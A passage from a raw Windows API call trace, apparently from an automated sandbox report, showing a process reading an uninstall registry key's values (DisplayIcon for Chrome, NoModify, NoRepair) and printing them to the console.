lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.029] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.029] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.029] lstrlenW (lpString="DisplayIcon") returned 11 [0149.029] __iob_func () returned 0x7fefd702a80 [0149.029] _fileno (_File=0x7fefd702ab0) returned 1 [0149.029] _errno () returned 0x204bb0 [0149.029] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.029] _errno () returned 0x204bb0 [0149.029] GetFileType (hFile=0x50) returned 0x1 [0149.029] lstrlenW (lpString="DisplayIcon") returned 11 [0149.029] GetConsoleOutputCP () returned 0x1b5 [0149.029] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayIcon", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0149.029] GetConsoleOutputCP () returned 0x1b5 [0149.030] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayIcon", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayIcon", lpUsedDefaultChar=0x0) returned 11 [0149.030] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0149.030] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.030] __iob_func () returned 0x7fefd702a80 [0149.030] _fileno (_File=0x7fefd702ab0) returned 1 [0149.030] _errno () returned 0x204bb0 [0149.030] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.030] _errno () returned 0x204bb0 [0149.030] GetFileType (hFile=0x50) returned 0x1 [0149.030] lstrlenW (lpString=" ") returned 4 [0149.030] GetConsoleOutputCP () returned 0x1b5 [0149.030] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.030] GetConsoleOutputCP () returned 0x1b5 [0149.030] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.030] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.030] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.030] __iob_func () returned 0x7fefd702a80 [0149.030] _fileno (_File=0x7fefd702ab0) returned 1 [0149.030] _errno () returned 0x204bb0 [0149.030] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.030] _errno () returned 0x204bb0 [0149.030] GetFileType (hFile=0x50) returned 0x1 [0149.030] lstrlenW (lpString="REG_SZ") returned 6 [0149.030] GetConsoleOutputCP () returned 0x1b5 [0149.031] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.031] GetConsoleOutputCP () returned 0x1b5 [0149.031] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.031] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.031] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.031] __iob_func () returned 0x7fefd702a80 [0149.031] _fileno (_File=0x7fefd702ab0) returned 1 [0149.031] _errno () returned 0x204bb0 [0149.031] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.031] _errno () returned 0x204bb0 [0149.031] GetFileType (hFile=0x50) returned 0x1 [0149.031] lstrlenW (lpString=" ") returned 4 [0149.031] GetConsoleOutputCP () returned 0x1b5 [0149.031] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.031] GetConsoleOutputCP () returned 0x1b5 [0149.031] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.031] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.031] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.031] __iob_func () returned 0x7fefd702a80 [0149.031] _fileno (_File=0x7fefd702ab0) returned 1 [0149.031] _errno () returned 0x204bb0 [0149.031] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.031] _errno () returned 0x204bb0 [0149.031] GetFileType (hFile=0x50) returned 0x1 [0149.032] lstrlenW (lpString="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe,0") returned 61 [0149.032] GetConsoleOutputCP () returned 0x1b5 [0149.032] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe,0", cchWideChar=61, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 61 [0149.032] GetConsoleOutputCP () returned 0x1b5 [0149.032] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe,0", cchWideChar=61, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe,0", lpUsedDefaultChar=0x0) returned 61 [0149.032] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 61 [0149.032] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.032] __iob_func () returned 0x7fefd702a80 [0149.032] _fileno (_File=0x7fefd702ab0) returned 1 [0149.032] _errno () returned 0x204bb0 [0149.032] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.032] _errno () returned 0x204bb0 [0149.032] GetFileType (hFile=0x50) returned 0x1 [0149.032] lstrlenW (lpString="\n") returned 1 [0149.032] GetConsoleOutputCP () returned 0x1b5 [0149.032] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.032] GetConsoleOutputCP () returned 0x1b5 [0149.032] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.032] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.032] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.033] GetProcessHeap () returned 0x3c0000 [0149.033] GetProcessHeap () returned 0x3c0000 [0149.033] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.033] GetProcessHeap () returned 0x3c0000 [0149.033] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x80 [0149.033] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.033] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoModify", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.033] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.033] GetProcessHeap () returned 0x3c0000 [0149.033] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3db830 [0149.033] GetProcessHeap () returned 0x3c0000 [0149.033] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.033] GetProcessHeap () returned 0x3c0000 [0149.033] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6 [0149.033] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3db830*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0149.033] __iob_func () returned 0x7fefd702a80 [0149.033] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.033] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.033] _fileno (_File=0x7fefd702ab0) returned 1 [0149.033] _errno () returned 0x204bb0 [0149.033] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.033] _errno () returned 0x204bb0 [0149.033] GetFileType (hFile=0x50) returned 0x1 [0149.033] lstrlenW (lpString=" ") returned 4 [0149.033] GetConsoleOutputCP () returned 0x1b5 [0149.033] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.033] GetConsoleOutputCP () returned 0x1b5 [0149.034] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.034] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.034] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.034] lstrlenW (lpString="NoModify") returned 8 [0149.034] __iob_func () returned 0x7fefd702a80 [0149.034] _fileno (_File=0x7fefd702ab0) returned 1 [0149.034] _errno () returned 0x204bb0 [0149.034] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.034] _errno () returned 0x204bb0 [0149.034] GetFileType (hFile=0x50) returned 0x1 [0149.034] lstrlenW (lpString="NoModify") returned 8 [0149.034] GetConsoleOutputCP () returned 0x1b5 [0149.034] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.034] GetConsoleOutputCP () returned 0x1b5 [0149.034] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoModify", lpUsedDefaultChar=0x0) returned 8 [0149.034] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.034] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.034] __iob_func () returned 0x7fefd702a80 [0149.034] _fileno (_File=0x7fefd702ab0) returned 1 [0149.034] _errno () returned 0x204bb0 [0149.035] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.035] _errno () returned 0x204bb0 [0149.035] GetFileType (hFile=0x50) returned 0x1 [0149.035] lstrlenW (lpString=" ") returned 4 [0149.035] GetConsoleOutputCP () returned 0x1b5 [0149.035] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.035] GetConsoleOutputCP () returned 0x1b5 [0149.035] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.035] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.035] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.035] __iob_func () returned 0x7fefd702a80 [0149.035] _fileno (_File=0x7fefd702ab0) returned 1 [0149.035] _errno () returned 0x204bb0 [0149.035] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.035] _errno () returned 0x204bb0 [0149.035] GetFileType (hFile=0x50) returned 0x1 [0149.035] lstrlenW (lpString="REG_DWORD") returned 9 [0149.035] GetConsoleOutputCP () returned 0x1b5 [0149.035] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.035] GetConsoleOutputCP () returned 0x1b5 [0149.035] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.036] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.036] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.036] __iob_func () returned 0x7fefd702a80 [0149.036] _fileno (_File=0x7fefd702ab0) returned 1 [0149.036] _errno () returned 0x204bb0 [0149.036] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.036] _errno () returned 0x204bb0 [0149.036] GetFileType (hFile=0x50) returned 0x1 [0149.036] lstrlenW (lpString=" ") returned 4 [0149.036] GetConsoleOutputCP () returned 0x1b5 [0149.036] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.036] GetConsoleOutputCP () returned 0x1b5 [0149.036] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.036] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.036] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.036] __iob_func () returned 0x7fefd702a80 [0149.036] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.036] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0149.036] _fileno (_File=0x7fefd702ab0) returned 1 [0149.036] _errno () returned 0x204bb0 [0149.036] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.036] _errno () returned 0x204bb0 [0149.036] GetFileType (hFile=0x50) returned 0x1 [0149.036] lstrlenW (lpString="0x1") returned 3 [0149.036] GetConsoleOutputCP () returned 0x1b5 [0149.037] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.037] GetConsoleOutputCP () returned 0x1b5 [0149.037] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0149.037] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.037] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.037] __iob_func () returned 0x7fefd702a80 [0149.037] _fileno (_File=0x7fefd702ab0) returned 1 [0149.037] _errno () returned 0x204bb0 [0149.037] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.037] _errno () returned 0x204bb0 [0149.037] GetFileType (hFile=0x50) returned 0x1 [0149.037] lstrlenW (lpString="\n") returned 1 [0149.037] GetConsoleOutputCP () returned 0x1b5 [0149.037] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.037] GetConsoleOutputCP () returned 0x1b5 [0149.037] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.037] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.037] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.037] GetProcessHeap () returned 0x3c0000 [0149.037] GetProcessHeap () returned 0x3c0000 [0149.037] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.038] GetProcessHeap () returned 0x3c0000 [0149.038] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6 [0149.038] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.038] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoRepair", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.038] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRepair", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.038] GetProcessHeap () returned 0x3c0000 [0149.038] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.038] GetProcessHeap () returned 0x3c0000 [0149.038] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.038] GetProcessHeap () returned 0x3c0000 [0149.038] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.038] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRepair", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0149.038] __iob_func () returned 0x7fefd702a80 [0149.038] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.038] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.038] _fileno (_File=0x7fefd702ab0) returned 1 [0149.038] _errno () returned 0x204bb0 [0149.038] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.038] _errno () returned 0x204bb0 [0149.038] GetFileType (hFile=0x50) returned 0x1 [0149.038] lstrlenW (lpString=" ") returned 4 [0149.038] GetConsoleOutputCP () returned 0x1b5 [0149.038] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.038] GetConsoleOutputCP () returned 0x1b5 [0149.038] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.038] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.038] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.039] lstrlenW (lpString="NoRepair") returned 8 [0149.039] __iob_func () returned 0x7fefd702a80 [0149.039] _fileno (_File=0x7fefd702ab0) returned 1 [0149.039] _errno () returned 0x204bb0 [0149.039] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.039] _errno () returned 0x204bb0 [0149.039] GetFileType (hFile=0x50) returned 0x1 [0149.039] lstrlenW (lpString="NoRepair") returned 8 [0149.039] GetConsoleOutputCP () returned 0x1b5 [0149.039] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRepair", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.039] GetConsoleOutputCP () returned 0x1b5 [0149.039] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRepair", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoRepair", lpUsedDefaultChar=0x0) returned 8 [0149.039] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.039] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.039] __iob_func () returned 0x7fefd702a80 [0149.039] _fileno (_File=0x7fefd702ab0) returned 1 [0149.039] _errno () returned 0x204bb0 [0149.039] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.039] _errno () returned 0x204bb0 [0149.039] GetFileType (hFile=0x50) returned 0x1 [0149.039] lstrlenW (lpString=" ") returned 4 [0149.039] GetConsoleOutputCP () returned 0x1b5 [0149.039] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.039] GetConsoleOutputCP () returned 0x1b5 [0149.040] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.040] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.040] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.040] __iob_func () returned 0x7fefd702a80 [0149.040] _fileno (_File=0x7fefd702ab0) returned 1 [0149.040] _errno () returned 0x204bb0 [0149.040] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.040] _errno () returned 0x204bb0 [0149.040] GetFileType (hFile=0x50) returned 0x1 [0149.040] lstrlenW (lpString="REG_DWORD") returned 9 [0149.040] GetConsoleOutputCP () returned 0x1b5 [0149.040] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.040] GetConsoleOutputCP () returned 0x1b5 [0149.040] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.040] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.040] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.040] __iob_func () returned 0x7fefd702a80 [0149.040] _fileno (_File=0x7fefd702ab0) returned 1 [0149.040] _errno () returned 0x204bb0 [0149.040] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.040] _errno () returned 0x204bb0 [0149.040] GetFileType (hFile=0x50) returned 0x1 [0149.040] lstrlenW (lpString=" ") returned 4 [0149.040] GetConsoleOutputCP () returned 0x1b5 [0149.041] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.041] GetConsoleOutputCP () returned 0x1b5 [0149.041] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.041] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.041] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.041] __iob_func () returned 0x7fefd702a80 [0149.041] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.041] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0149.041] _fileno (_File=0x7fefd702ab0) returned 1 [0149.041] _errno () returned 0x204bb0 [0149.041] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.041] _errno () returned 0x204bb0 [0149.041] GetFileType (hFile=0x50) returned 0x1 [0149.041] lstrlenW (lpString="0x1") returned 3 [0149.041] GetConsoleOutputCP () returned 0x1b5 [0149.041] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.041] GetConsoleOutputCP () returned 0x1b5 [0149.041] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", 